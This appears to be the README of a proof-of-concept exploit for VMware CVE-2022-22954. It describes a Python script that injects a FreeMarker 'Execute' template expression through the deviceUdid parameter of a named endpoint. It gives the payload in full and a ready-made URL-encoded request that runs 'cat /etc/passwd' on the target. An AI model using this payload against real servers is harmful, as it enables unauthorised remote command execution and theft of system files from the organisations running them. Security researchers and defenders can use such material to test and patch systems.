VMware-CVE-2022-22954-Command-Injector

Proof of Concept for exploiting VMware CVE-2022-22954

How it works

This simple Python script makes a GET request to the specified URL appended with /catalog-portal/ui/oauth/verify?error=&deviceUdid= and then followed by a URL encoded version of this string:

${"freemarker.template.utility.Execute"?new()("command")}

For example, an output for "cat /etc/passwd" would look like the following: {host}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d
